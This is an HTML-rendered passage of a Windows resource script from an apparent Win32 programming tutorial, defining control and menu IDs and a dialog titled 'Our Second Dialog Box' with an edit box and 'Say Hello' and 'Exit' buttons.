<BR><B><FONT COLOR="#000000">#define IDC_EXIT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
3002</FONT></B>

<P><B><FONT COLOR="#006600">#define IDR_MENU1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
3003</FONT></B>

<P><B><FONT COLOR="#000000">#define IDM_GETTEXT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
32000</FONT></B>
<BR><B><FONT COLOR="#000000">#define IDM_CLEAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
32001</FONT></B>
<BR><B><FONT COLOR="#000000">#define IDM_EXIT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
32003</FONT></B>
<BR>&nbsp;

<P><B><FONT COLOR="#000000">MyDialog DIALOG 10, 10, 205, 60</FONT></B>
<BR><B><FONT COLOR="#000000">STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX
|</FONT></B>
<BR><B><FONT COLOR="#000000">WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED |
DS_MODALFRAME | DS_3DLOOK</FONT></B>
<BR><B><FONT COLOR="#000000">CAPTION "Our Second Dialog Box"</FONT></B>
<BR><B><FONT COLOR="#006600">MENU IDR_MENU1</FONT></B>
<BR><B><FONT COLOR="#000000">BEGIN</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp; EDITTEXT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
IDC_EDIT,&nbsp;&nbsp; 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp; DEFPUSHBUTTON&nbsp;&nbsp;
"Say Hello", IDC_BUTTON,&nbsp;&nbsp;&nbsp; 141,10,52,13</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp; PUSHBUTTON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
"E&amp;xit", IDC_EXIT,&nbsp; 1